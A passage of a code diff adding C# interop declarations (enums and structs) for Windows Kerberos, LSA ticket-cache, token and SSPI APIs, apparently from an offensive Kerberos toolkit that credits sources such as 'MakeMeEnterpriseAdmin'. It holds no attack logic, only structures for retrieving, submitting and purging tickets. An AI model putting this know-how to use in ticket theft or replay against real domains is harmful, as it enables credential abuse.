16, + PK_AS_REP = 17, + PA_PK_OCSP_RESPONSE = 18, + ETYPE_INFO2 = 19, + USE_SPECIFIED_KVNO = 20, + SVR_REFERRAL_INFO = 20, + SAM_REDIRECT = 21, + GET_FROM_TYPED_DATA = 22, + SAM_ETYPE_INFO = 23, + SERVER_REFERRAL = 25, + TD_KRB_PRINCIPAL = 102, + PK_TD_TRUSTED_CERTIFIERS = 104, + PK_TD_CERTIFICATE_INDEX = 105, + TD_APP_DEFINED_ERROR = 106, + TD_REQ_NONCE = 107, + TD_REQ_SEQ = 108, + PA_PAC_REQUEST = 128, + S4U2SELF = 129, + PA_S4U_X509_USER = 130, + PA_PAC_OPTIONS = 167, + PK_AS_09_BINDING = 132, + CLIENT_CANONICALIZED = 133 + } + + // from https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/cd9d5ca7-ce20-4693-872b-2f5dd41cbff6 + public enum PA_S4U_X509_USER_OPTIONS : Int32 + { + CHECK_LOGON_RESTRICTIONS = 0x40000000, + SIGN_REPLY = 0x20000000 + } + + // adapted from https://github.com/skelsec/minikerberos/blob/master/minikerberos/kerberoserror.py#L18-L76 + public enum KERBEROS_ERROR : UInt32 + { + KDC_ERR_NONE = 0x0, //No error + KDC_ERR_NAME_EXP = 0x1, //Client's entry in KDC database has expired + KDC_ERR_SERVICE_EXP = 0x2, //Server's entry in KDC database has expired + KDC_ERR_BAD_PVNO = 0x3, //Requested Kerberos version number not supported + KDC_ERR_C_OLD_MAST_KVNO = 0x4, //Client's key encrypted in old master key + KDC_ERR_S_OLD_MAST_KVNO = 0x5, //Server's key encrypted in old master key + KDC_ERR_C_PRINCIPAL_UNKNOWN = 0x6, //Client not found in Kerberos database + KDC_ERR_S_PRINCIPAL_UNKNOWN = 0x7, //Server not found in Kerberos database + KDC_ERR_PRINCIPAL_NOT_UNIQUE = 0x8, //Multiple principal entries in KDC database + KDC_ERR_NULL_KEY = 0x9, //The client or server has a null key (master key) + KDC_ERR_CANNOT_POSTDATE = 0xA, // Ticket (TGT) not eligible for postdating + KDC_ERR_NEVER_VALID = 0xB, // Requested start time is later than end time + KDC_ERR_POLICY = 0xC, //Requested start time is later than end time + KDC_ERR_BADOPTION = 0xD, //KDC cannot accommodate requested option + KDC_ERR_ETYPE_NOTSUPP = 0xE, // KDC has no support for encryption type + KDC_ERR_SUMTYPE_NOSUPP = 0xF, // KDC has no support for checksum type + KDC_ERR_PADATA_TYPE_NOSUPP = 0x10, //KDC has no support for PADATA type (pre-authentication data) + KDC_ERR_TRTYPE_NO_SUPP = 0x11, //KDC has no support for transited type + KDC_ERR_CLIENT_REVOKED = 0x12, // Client’s credentials have been revoked + KDC_ERR_SERVICE_REVOKED = 0x13, //Credentials for server have been revoked + KDC_ERR_TGT_REVOKED = 0x14, //TGT has been revoked + KDC_ERR_CLIENT_NOTYET = 0x15, // Client not yet valid—try again later + KDC_ERR_SERVICE_NOTYET = 0x16, //Server not yet valid—try again later + KDC_ERR_KEY_EXPIRED = 0x17, // Password has expired—change password to reset + KDC_ERR_PREAUTH_FAILED = 0x18, //Pre-authentication information was invalid + KDC_ERR_PREAUTH_REQUIRED = 0x19, // Additional preauthentication required + KDC_ERR_SERVER_NOMATCH = 0x1A, //KDC does not know about the requested server + KDC_ERR_SVC_UNAVAILABLE = 0x1B, // KDC is unavailable + KRB_AP_ERR_BAD_INTEGRITY = 0x1F, // Integrity check on decrypted field failed + KRB_AP_ERR_TKT_EXPIRED = 0x20, // The ticket has expired + KRB_AP_ERR_TKT_NYV = 0x21, //The ticket is not yet valid + KRB_AP_ERR_REPEAT = 0x22, // The request is a replay + KRB_AP_ERR_NOT_US = 0x23, //The ticket is not for us + KRB_AP_ERR_BADMATCH = 0x24, //The ticket and authenticator do not match + KRB_AP_ERR_SKEW = 0x25, // The clock skew is too great + KRB_AP_ERR_BADADDR = 0x26, // Network address in network layer header doesn't match address inside ticket + KRB_AP_ERR_BADVERSION = 0x27, // Protocol version numbers don't match (PVNO) + KRB_AP_ERR_MSG_TYPE = 0x28, // Message type is unsupported + KRB_AP_ERR_MODIFIED = 0x29, // Message stream modified and checksum didn't match + KRB_AP_ERR_BADORDER = 0x2A, // Message out of order (possible tampering) + KRB_AP_ERR_BADKEYVER = 0x2C, // Specified version of key is not available + KRB_AP_ERR_NOKEY = 0x2D, // Service key not available + KRB_AP_ERR_MUT_FAIL = 0x2E, // Mutual authentication failed + KRB_AP_ERR_BADDIRECTION = 0x2F, // Incorrect message direction + KRB_AP_ERR_METHOD = 0x30, // Alternative authentication method required + KRB_AP_ERR_BADSEQ = 0x31, // Incorrect sequence number in message + KRB_AP_ERR_INAPP_CKSUM = 0x32, // Inappropriate type of checksum in message (checksum may be unsupported) + KRB_AP_PATH_NOT_ACCEPTED = 0x33, // Desired path is unreachable + KRB_ERR_RESPONSE_TOO_BIG = 0x34, // Too much data + KRB_ERR_GENERIC = 0x3C, // Generic error; the description is in the e-data field + KRB_ERR_FIELD_TOOLONG = 0x3D, // Field is too long for this implementation + KDC_ERR_CLIENT_NOT_TRUSTED = 0x3E, // The client trust failed or is not implemented + KDC_ERR_KDC_NOT_TRUSTED = 0x3F, // The KDC server trust failed or could not be verified + KDC_ERR_INVALID_SIG = 0x40, // The signature is invalid + KDC_ERR_KEY_TOO_WEAK = 0x41, //A higher encryption level is needed + KRB_AP_ERR_USER_TO_USER_REQUIRED = 0x42, // User-to-user authorization is required + KRB_AP_ERR_NO_TGT = 0x43, // No TGT was presented or available + KDC_ERR_WRONG_REALM = 0x44, //Incorrect domain or principal + KDC_ERR_CANT_VERIFY_CERTIFICATE = 0x46, + KDC_ERR_INVALID_CERTIFICATE = 0x47, + KDC_ERR_REVOKED_CERTIFICATE = 0x48, + KDC_ERR_REVOCATION_STATUS_UNKNOWN = 0x49, + KDC_ERR_CLIENT_NAME_MISMATCH = 0x4B, + KDC_ERR_INCONSISTENT_KEY_PURPOSE = 0x4D, + KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED = 0x4E, + KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED = 0x4F, + KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED = 0x50, + KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED = 0x51, + } + + [Flags] + public enum DSGETDCNAME_FLAGS : uint + { + DS_FORCE_REDISCOVERY = 0x00000001, + DS_DIRECTORY_SERVICE_REQUIRED = 0x00000010, + DS_DIRECTORY_SERVICE_PREFERRED = 0x00000020, + DS_GC_SERVER_REQUIRED = 0x00000040, + DS_PDC_REQUIRED = 0x00000080, + DS_BACKGROUND_ONLY = 0x00000100, + DS_IP_REQUIRED = 0x00000200, + DS_KDC_REQUIRED = 0x00000400, + DS_TIMESERV_REQUIRED = 0x00000800, + DS_WRITABLE_REQUIRED = 0x00001000, + DS_GOOD_TIMESERV_PREFERRED = 0x00002000, + DS_AVOID_SELF = 0x00004000, + DS_ONLY_LDAP_NEEDED = 0x00008000, + DS_IS_FLAT_NAME = 0x00010000, + DS_IS_DNS_NAME = 0x00020000, + DS_RETURN_DNS_NAME = 0x40000000, + DS_RETURN_FLAT_NAME = 0x80000000 + } + + public enum TOKEN_INFORMATION_CLASS + { + /// + /// The buffer receives a TOKEN_USER structure that contains the user account of the token. + /// + TokenUser = 1, + + /// + /// The buffer receives a TOKEN_GROUPS structure that contains the group accounts associated with the token. + /// + TokenGroups, + + /// + /// The buffer receives a TOKEN_PRIVILEGES structure that contains the privileges of the token. + /// + TokenPrivileges, + + /// + /// The buffer receives a TOKEN_OWNER structure that contains the default owner security identifier (SID) for newly created objects. + /// + TokenOwner, + + /// + /// The buffer receives a TOKEN_PRIMARY_GROUP structure that contains the default primary group SID for newly created objects. + /// + TokenPrimaryGroup, + + /// + /// The buffer receives a TOKEN_DEFAULT_DACL structure that contains the default DACL for newly created objects. + /// + TokenDefaultDacl, + + /// + /// The buffer receives a TOKEN_SOURCE structure that contains the source of the token. TOKEN_QUERY_SOURCE access is needed to retrieve this information. + /// + TokenSource, + + /// + /// The buffer receives a TOKEN_TYPE value that indicates whether the token is a primary or impersonation token. + /// + TokenType, + + /// + /// The buffer receives a SECURITY_IMPERSONATION_LEVEL value that indicates the impersonation level of the token. If the access token is not an impersonation token, the function fails. + /// + TokenImpersonationLevel, + + /// + /// The buffer receives a TOKEN_STATISTICS structure that contains various token statistics. + /// + TokenStatistics, + + /// + /// The buffer receives a TOKEN_GROUPS structure that contains the list of restricting SIDs in a restricted token. + /// + TokenRestrictedSids, + + /// + /// The buffer receives a DWORD value that indicates the Terminal Services session identifier that is associated with the token. + /// + TokenSessionId, + + /// + /// The buffer receives a TOKEN_GROUPS_AND_PRIVILEGES structure that contains the user SID, the group accounts, the restricted SIDs, and the authentication ID associated with the token. + /// + TokenGroupsAndPrivileges, + + /// + /// Reserved. + /// + TokenSessionReference, + + /// + /// The buffer receives a DWORD value that is nonzero if the token includes the SANDBOX_INERT flag. + /// + TokenSandBoxInert, + + /// + /// Reserved. + /// + TokenAuditPolicy, + + /// + /// The buffer receives a TOKEN_ORIGIN value. + /// + TokenOrigin, + + /// + /// The buffer receives a TOKEN_ELEVATION_TYPE value that specifies the elevation level of the token. + /// + TokenElevationType, + + /// + /// The buffer receives a TOKEN_LINKED_TOKEN structure that contains a handle to another token that is linked to this token. + /// + TokenLinkedToken, + + /// + /// The buffer receives a TOKEN_ELEVATION structure that specifies whether the token is elevated. + /// + TokenElevation, + + /// + /// The buffer receives a DWORD value that is nonzero if the token has ever been filtered. + /// + TokenHasRestrictions, + + /// + /// The buffer receives a TOKEN_ACCESS_INFORMATION structure that specifies security information contained in the token. + /// + TokenAccessInformation, + + /// + /// The buffer receives a DWORD value that is nonzero if virtualization is allowed for the token. + /// + TokenVirtualizationAllowed, + + /// + /// The buffer receives a DWORD value that is nonzero if virtualization is enabled for the token. + /// + TokenVirtualizationEnabled, + + /// + /// The buffer receives a TOKEN_MANDATORY_LABEL structure that specifies the token's integrity level. + /// + TokenIntegrityLevel, + + /// + /// The buffer receives a DWORD value that is nonzero if the token has the UIAccess flag set. + /// + TokenUIAccess, + + /// + /// The buffer receives a TOKEN_MANDATORY_POLICY structure that specifies the token's mandatory integrity policy. + /// + TokenMandatoryPolicy, + + /// + /// The buffer receives the token's logon security identifier (SID). + /// + TokenLogonSid, + + /// + /// The maximum value for this enumeration + /// + MaxTokenInfoClass + } + + [Flags] + public enum KERB_CACHE_OPTIONS : UInt64 + { + KERB_RETRIEVE_TICKET_DEFAULT = 0x0, + KERB_RETRIEVE_TICKET_DONT_USE_CACHE = 0x1, + KERB_RETRIEVE_TICKET_USE_CACHE_ONLY = 0x2, + KERB_RETRIEVE_TICKET_USE_CREDHANDLE = 0x4, + KERB_RETRIEVE_TICKET_AS_KERB_CRED = 0x8, + KERB_RETRIEVE_TICKET_WITH_SEC_CRED = 0x10, + KERB_RETRIEVE_TICKET_CACHE_TICKET = 0x20, + KERB_RETRIEVE_TICKET_MAX_LIFETIME = 0x40, + } + + public enum KERB_PROTOCOL_MESSAGE_TYPE : UInt32 + { + KerbDebugRequestMessage = 0, + KerbQueryTicketCacheMessage = 1, + KerbChangeMachinePasswordMessage = 2, + KerbVerifyPacMessage = 3, + KerbRetrieveTicketMessage = 4, + KerbUpdateAddressesMessage = 5, + KerbPurgeTicketCacheMessage = 6, + KerbChangePasswordMessage = 7, + KerbRetrieveEncodedTicketMessage = 8, + KerbDecryptDataMessage = 9, + KerbAddBindingCacheEntryMessage = 10, + KerbSetPasswordMessage = 11, + KerbSetPasswordExMessage = 12, + KerbVerifyCredentialsMessage = 13, + KerbQueryTicketCacheExMessage = 14, + KerbPurgeTicketCacheExMessage = 15, + KerbRefreshSmartcardCredentialsMessage = 16, + KerbAddExtraCredentialsMessage = 17, + KerbQuerySupplementalCredentialsMessage = 18, + KerbTransferCredentialsMessage = 19, + KerbQueryTicketCacheEx2Message = 20, + KerbSubmitTicketMessage = 21, + KerbAddExtraCredentialsExMessage = 22, + KerbQueryKdcProxyCacheMessage = 23, + KerbPurgeKdcProxyCacheMessage = 24, + KerbQueryTicketCacheEx3Message = 25, + KerbCleanupMachinePkinitCredsMessage = 26, + KerbAddBindingCacheEntryExMessage = 27, + KerbQueryBindingCacheMessage = 28, + KerbPurgeBindingCacheMessage = 29, + KerbQueryDomainExtendedPoliciesMessage = 30, + KerbQueryS4U2ProxyCacheMessage = 31 + } + + public enum LogonType : uint + { + Interactive = 2, // logging on interactively. + Network, // logging using a network. + Batch, // logon for a batch process. + Service, // logon for a service account. + Proxy, // Not supported. + Unlock, // Tattempt to unlock a workstation. + NetworkCleartext, // network logon with cleartext credentials + NewCredentials, // caller can clone its current token and specify new credentials for outbound connections + RemoteInteractive, // terminal server session that is both remote and interactive + CachedInteractive, // attempt to use the cached credentials without going out across the network + CachedRemoteInteractive,// same as RemoteInteractive, except used internally for auditing purposes + CachedUnlock // attempt to unlock a workstation + } + + public enum LOGON_PROVIDER + { + LOGON32_PROVIDER_DEFAULT, + LOGON32_PROVIDER_WINNT35, + LOGON32_PROVIDER_WINNT40, + LOGON32_PROVIDER_WINNT50 + } + + // from https://github.com/alexbrainman/sspi/blob/master/syscall.go#L113-L129 + [Flags] + public enum ISC_REQ : int + { + DELEGATE = 1, + MUTUAL_AUTH = 2, + REPLAY_DETECT = 4, + SEQUENCE_DETECT = 8, + CONFIDENTIALITY = 16, + USE_SESSION_KEY = 32, + PROMPT_FOR_CREDS = 64, + USE_SUPPLIED_CREDS = 128, + ALLOCATE_MEMORY = 256, + USE_DCE_STYLE = 512, + DATAGRAM = 1024, + CONNECTION = 2048, + EXTENDED_ERROR = 16384, + STREAM = 32768, + INTEGRITY = 65536, + MANUAL_CRED_VALIDATION = 524288, + HTTP = 268435456 + } + + public enum SecBufferType + { + SECBUFFER_VERSION = 0, + SECBUFFER_EMPTY = 0, + SECBUFFER_DATA = 1, + SECBUFFER_TOKEN = 2 + } + + // from https://directory.apache.org/apacheds/gen-docs/2.0.0-M15/apidocs/src-html/org/apache/directory/shared/kerberos/codec/types/HostAddrType.html + public enum HostAddressType : long + { + NULL = 0, + ADDRTYPE_UNIX = 1, + ADDRTYPE_INET = 2, + ADDRTYPE_IMPLINK = 3, + ADDRTYPE_PUP = 4, + ADDRTYPE_CHAOS = 5, + ADDRTYPE_XNS = 6, + ADDRTYPE_IPX = 6, + ADDRTYPE_OSI = 7, + ADDRTYPE_ECMA = 8, + ADDRTYPE_DATAKIT = 9, + ADDRTYPE_CCITT = 10, + ADDRTYPE_SNA = 11, + ADDRTYPE_DECNET = 12, + ADDRTYPE_DLI = 13, + ADDRTYPE_LAT = 14, + ADDRTYPE_HYLINK = 15, + ADDRTYPE_APPLETALK = 16, + ADDRTYPE_VOICEVIEW = 18, + ADDRTYPE_FIREFOX = 19, + ADDRTYPE_NETBIOS = 20, + ADDRTYPE_BAN = 21, + ADDRTYPE_ATM = 22, + ADDRTYPE_INET6 = 24 + } + + // from https://tools.ietf.org/html/rfc4120#section-5.2.6 + // and https://github.com/apache/directory-kerby/blob/trunk/kerby-kerb/kerb-core/src/main/java/org/apache/kerby/kerberos/kerb/type/ad/AuthorizationType.java + public enum AuthorizationDataType : long + { + AD_IF_RELEVANT = 1, + AD_INTENDED_FOR_SERVER = 2, + AD_INTENDED_FOR_APPLICATION_CLASS = 3, + AD_KDCISSUED = 4, + AD_AND_OR = 5, + AD_MANDATORY_TICKET_EXTENSIONS = 6, + AD_IN_TICKET_EXTENSIONS = 7, + AD_MANDATORY_FOR_KDC = 8, + AD_INITIAL_VERIFIED_CAS = 9, + OSF_DCE = 64, + SESAME = 65, + AD_OSF_DCE_PKI_CERTID = 66, + AD_CAMMAC = 96, + AD_AUTHENTICATION_INDICATOR = 97, + AD_WIN2K_PAC = 128, + AD_ETYPE_NEGOTIATION = 129, + KERB_AUTH_DATA_TOKEN_RESTRICTIONS = 141, + KERB_LOCAL = 142, + AD_AUTH_DATA_AP_OPTIONS = 143, + AD_TOKEN = 256 + + } + + public enum TransitedEncodingType : long + { + NULL = 0, + DOMAIN_X500_COMPRESS = 1 + } + + // from https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/ec551137-c5e5-476a-9c89-e0029473c41b + public enum LSAP_TOKEN_INFO_INTEGRITY_FLAGS : UInt32 + { + FULL = 0, + UAC_RESTRICTED = 1 + } + + public enum LSAP_TOKEN_INFO_INTEGRITY_TOKENIL : UInt32 + { + UNTRUSTED = 0, + LOW = 4096, + MEDIUM = 8192, + HIGH = 12288, + SYSTEM = 16384, + PROTECTED = 20480 + } + + // from https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/4df07fab-1bbc-452f-8e92-7853a3c7e380 section 2.2.1.12 + [Flags] + public enum PacUserAccountControl : Int32 + { + EMPTY = 0, + ACCOUNTDISABLE = 1, + HOMEDIR_REQUIRED = 2, + PASSWD_NOTREQD = 4, + TEMP_DUPLICATE_ACCOUNT = 8, + NORMAL_ACCOUNT = 16, + MNS_LOGON_ACCOUNT = 32, + INTERDOMAIN_TRUST_ACCOUNT = 64, + WORKSTATION_TRUST_ACCOUNT = 128, + SERVER_TRUST_ACCOUNT = 256, + DONT_EXPIRE_PASSWORD = 512, + ACCOUNT_AUTO_LOCKED = 1024, + ENCRYPTED_TEXT_PASSWORD_ALLOWED = 2048, + SMARTCARD_REQUIRED = 4096, + TRUSTED_FOR_DELEGATION = 8192, + NOT_DELEGATED = 16384, + USE_DES_KEY_ONLY = 32768, + DONT_REQ_PREAUTH = 65536, + PASSWORD_EXPIRED = 131072, + TRUSTED_TO_AUTH_FOR_DELEGATION = 262144, + NO_AUTH_DATA_REQUIRED = 524288, + PARTIAL_SECRETS_ACCOUNT = 1048576, + USE_AES_KEYS = 2097152 + } + + // from https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/69e86ccc-85e3-41b9-b514-7d969cd0ed73 + [Flags] + public enum PacUserFlags : Int32 + { + EXTRA_SIDS = 32, + RESOURCE_GROUPS = 512 + } + + // from https://download.samba.org/pub/samba/patches/security/samba-4.15.1-security-2021-11-09.patch + [Flags] + public enum PacAttribute : Int32 + { + PAC_NOT_REQUESTED = 0x00000000, + PAC_WAS_REQUESTED = 0x00000001, + PAC_WAS_GIVEN_IMPLICITLY = 0x00000002 + } + + [Flags] + public enum LDAPUserAccountControl : Int32 + { + SCRIPT = 1, + ACCOUNTDISABLE = 2, + HOMEDIR_REQUIRED = 8, + LOCKOUT = 16, + PASSWD_NOTREQD = 32, + PASSWD_CANT_CHANGE = 64, + ENCRYPTED_TEXT_PWD_ALLOWED = 128, + TEMP_DUPLICATE_ACCOUNT = 256, + NORMAL_ACCOUNT = 512, + INTERDOMAIN_TRUST_ACCOUNT = 2048, + WORKSTATION_TRUST_ACCOUNT = 4096, + SERVER_TRUST_ACCOUNT = 8192, + DONT_EXPIRE_PASSWORD = 65536, + MNS_LOGON_ACCOUNT = 131072, + SMARTCARD_REQUIRED = 262144, + TRUSTED_FOR_DELEGATION = 524288, + NOT_DELEGATED = 1048576, + USE_DES_KEY_ONLY = 2097152, + DONT_REQ_PREAUTH = 4194304, + PASSWORD_EXPIRED = 8388608, + TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216, + NO_AUTH_DATA_REQUIRED = 33554432, + PARTIAL_SECRETS_ACCOUNT = 67108864 + } + + // taken from https://github.com/tevora-threat/SharpView + public enum ResourceScope : int + { + Connected = 1, + GlobalNetwork, + Remembered, + Recent, + Context + }; + + public enum ResourceType : int + { + Any = 0, + Disk = 1, + Print = 2, + Reserved = 8, + } + + public enum ResourceDisplaytype : int + { + Generic = 0x0, + Domain = 0x01, + Server = 0x02, + Share = 0x03, + File = 0x04, + Group = 0x05, + Network = 0x06, + Root = 0x07, + Shareadmin = 0x08, + Directory = 0x09, + Tree = 0x0a, + Ndscontainer = 0x0b + } + + // from https://docs.microsoft.com/en-us/windows/win32/debug/system-error-codes + public enum SystemErrorCodes : int + { + ERROR_SUCCESS = 0, + ERROR_ACCESS_DENIED = 5, + ERROR_ALREADY_ASSIGNED = 85, + ERROR_BAD_DEV_TYPE = 66, + ERROR_BAD_DEVICE_PATH = 330, + ERROR_BAD_DEVICE = 1200, + ERROR_BAD_NETPATH = 53, + ERROR_BAD_NET_NAME = 67, + ERROR_BAD_PROFILE = 1206, + ERROR_BAD_PROVIDER = 1204, + ERROR_BAD_USERNAME = 2202, + ERROR_BUSY_DRIVE = 142, + ERROR_BUSY = 170, + ERROR_CANCELLED = 1223, + ERROR_CANNOT_OPEN_PROFILE = 1205, + ERROR_DEVICE_ALREADY_REMEMBERED = 1202, + ERROR_EXTENDED_ERROR = 1208, + ERROR_INVALID_ADDRESS = 487, + ERROR_INVALID_PARAMETER = 87, + ERROR_INVALID_PASSWORD = 86, + ERROR_INVALID_PASSWORDNAME = 1216, + ERROR_LOGON_FAILURE = 1326, + ERROR_NO_NET_OR_BAD_PATH = 1203, + ERROR_NO_NETWORK = 1222, + } + + + + // structs + + // // typedef struct _LSAP_TOKEN_INFO_INTEGRITY { + // unsigned long Flags; + // unsigned long TokenIL; + // unsigned char MachineID[32]; # KILE implements a 32-byte binary random string machine ID + // } + // LSAP_TOKEN_INFO_INTEGRITY, + // *PLSAP_TOKEN_INFO_INTEGRITY; + public struct LSAP_TOKEN_INFO_INTEGRITY + { + public LSAP_TOKEN_INFO_INTEGRITY_FLAGS Flags; + public LSAP_TOKEN_INFO_INTEGRITY_TOKENIL TokenIL; + public byte[] machineID; + } + + // From Vincent LE TOUX' "MakeMeEnterpriseAdmin" + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1773-L1794 + [StructLayout(LayoutKind.Sequential)] + public struct KERB_ECRYPT + { + int Type0; + public int BlockSize; + int Type1; + public int KeySize; + public int Size; + int unk2; + int unk3; + public IntPtr AlgName; + public IntPtr Initialize; + public IntPtr Encrypt; + public IntPtr Decrypt; + public IntPtr Finish; + public IntPtr HashPassword; + IntPtr RandomKey; + IntPtr Control; + IntPtr unk0_null; + IntPtr unk1_null; + IntPtr unk2_null; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct DOMAIN_CONTROLLER_INFO + { + [MarshalAs(UnmanagedType.LPTStr)] + public string DomainControllerName; + [MarshalAs(UnmanagedType.LPTStr)] + public string DomainControllerAddress; + public uint DomainControllerAddressType; + public Guid DomainGuid; + [MarshalAs(UnmanagedType.LPTStr)] + public string DomainName; + [MarshalAs(UnmanagedType.LPTStr)] + public string DnsForestName; + public uint Flags; + [MarshalAs(UnmanagedType.LPTStr)] + public string DcSiteName; + [MarshalAs(UnmanagedType.LPTStr)] + public string ClientSiteName; + } + + public struct SYSTEMTIME + { + public ushort wYear, wMonth, wDayOfWeek, wDay, + wHour, wMinute, wSecond, wMilliseconds; + } + + + // LSA structures + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_SUBMIT_TKT_REQUEST + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public LUID LogonId; + public int Flags; + public KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED + public int KerbCredSize; + public int KerbCredOffset; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_PURGE_TKT_CACHE_REQUEST + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public LUID LogonId; + LSA_STRING_IN ServerName; + LSA_STRING_IN RealmName; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_CRYPTO_KEY32 + { + public int KeyType; + public int Length; + public int Offset; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LSA_STRING_IN + { + public UInt16 Length; + public UInt16 MaximumLength; + public string Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LSA_STRING_OUT + { + public UInt16 Length; + public UInt16 MaximumLength; + public IntPtr Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LSA_STRING + { + public UInt16 Length; + public UInt16 MaximumLength; + public String Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct UNICODE_STRING : IDisposable + { + public ushort Length; + public ushort MaximumLength; + public IntPtr buffer; + + public UNICODE_STRING(string s) + { + Length = (ushort)(s.Length * 2); + MaximumLength = (ushort)(Length + 2); + buffer = Marshal.StringToHGlobalUni(s); + } + + public void Dispose() + { + Marshal.FreeHGlobal(buffer); + buffer = IntPtr.Zero; + } + + public override string ToString() + { + return Marshal.PtrToStringUni(buffer); + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_RETRIEVE_TKT_RESPONSE + { + public KERB_EXTERNAL_TICKET Ticket; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_EXTERNAL_TICKET + { + public IntPtr ServiceName; + public IntPtr TargetName; + public IntPtr ClientName; + public LSA_STRING_OUT DomainName; + public LSA_STRING_OUT TargetDomainName; + public LSA_STRING_OUT AltTargetDomainName; + public KERB_CRYPTO_KEY SessionKey; + public UInt32 TicketFlags; + public UInt32 Flags; + public Int64 KeyExpirationTime; + public Int64 StartTime; + public Int64 EndTime; + public Int64 RenewUntil; + public Int64 TimeSkew; + public Int32 EncodedTicketSize; + public IntPtr EncodedTicket; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_CRYPTO_KEY + { + public Int32 KeyType; + public Int32 Length; + public IntPtr Value; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_RETRIEVE_TKT_REQUEST + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public LUID LogonId; + public UNICODE_STRING TargetName; + public UInt32 TicketFlags; + public UInt32 CacheOptions; + public Int32 EncryptionType; + public SECURITY_HANDLE CredentialsHandle; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_QUERY_TKT_CACHE_REQUEST + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public LUID LogonId; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_QUERY_TKT_CACHE_RESPONSE + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public int CountOfTickets; + public IntPtr Tickets; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_TICKET_CACHE_INFO + { + public LSA_STRING_OUT ServerName; + public LSA_STRING_OUT RealmName; + public Int64 StartTime; + public Int64 EndTime; + public Int64 RenewTime; + public Int32 EncryptionType; + public UInt32 TicketFlags; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_TICKET_CACHE_INFO_EX + { + public LSA_STRING_OUT ClientName; + public LSA_STRING_OUT ClientRealm; + public LSA_STRING_OUT ServerName; + public LSA_STRING_OUT ServerRealm; + public Int64 StartTime; + public Int64 EndTime; + public Int64 RenewTime; + public Int32 EncryptionType; + public UInt32 TicketFlags; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_TICKET_CACHE_INFO_EX2 + { + public LSA_STRING_OUT ClientName; + public LSA_STRING_OUT ClientRealm; + public LSA_STRING_OUT ServerName; + public LSA_STRING_OUT ServerRealm; + public Int64 StartTime; + public Int64 EndTime; + public Int64 RenewTime; + public Int32 EncryptionType; + public UInt32 TicketFlags; + + public UInt32 SessionKeyType; + public UInt32 BranchId; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_TICKET_CACHE_INFO_EX3 + { + public LSA_STRING_OUT ClientName; + public LSA_STRING_OUT ClientRealm; + public LSA_STRING_OUT ServerName; + public LSA_STRING_OUT ServerRealm; + public Int64 StartTime; + public Int64 EndTime; + public Int64 RenewTime; + public Int32 EncryptionType; + public UInt32 TicketFlags; + + public UInt32 SessionKeyType; + public UInt32 BranchId; + + public UInt32 CacheFlags; + public LSA_STRING_OUT KdcCalled; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_EXTERNAL_NAME + { + public Int16 NameType; + public UInt16 NameCount; + + [MarshalAs(UnmanagedType.ByValArray, + SizeConst = 3)] + public LSA_STRING_OUT[] Names; + //public LSA_STRING_OUT[] Names; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_LOGON_SESSION_DATA + { + public UInt32 Size; + public LUID LoginID; + public LSA_STRING_OUT Username; + public LSA_STRING_OUT LoginDomain; + public LSA_STRING_OUT AuthenticationPackage; + public UInt32 LogonType; + public UInt32 Session; + public IntPtr PSiD; + public UInt64 LoginTime; + public LSA_STRING_OUT LogonServer; + public LSA_STRING_OUT DnsDomainName; + public LSA_STRING_OUT Upn; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_ATTRIBUTES + { + public int Length; + public IntPtr lpSecurityDescriptor; + public bool bInheritHandle; + } + + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public int dwProcessId; + public int dwThreadId; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct STARTUPINFO + { + public Int32 cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public Int32 dwX; + public Int32 dwY; + public Int32 dwXSize; + public Int32 dwYSize; + public Int32 dwXCountChars; + public Int32 dwYCountChars; + public Int32 dwFillAttribute; + public Int32 dwFlags; + public Int16 wShowWindow; + public Int16 cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct TOKEN_STATISTICS + { + public LUID TokenId; + public LUID AuthenticationId; + public long ExpirationTime; + public uint TokenType; + public uint ImpersonationLevel; + public uint DynamicCharged; + public uint DynamicAvailable; + public uint GroupCount; + public uint PrivilegeCount; + public LUID ModifiedId; + } + + [StructLayout(LayoutKind.Sequential)] + public struct TOKEN_ORIGIN + { + public 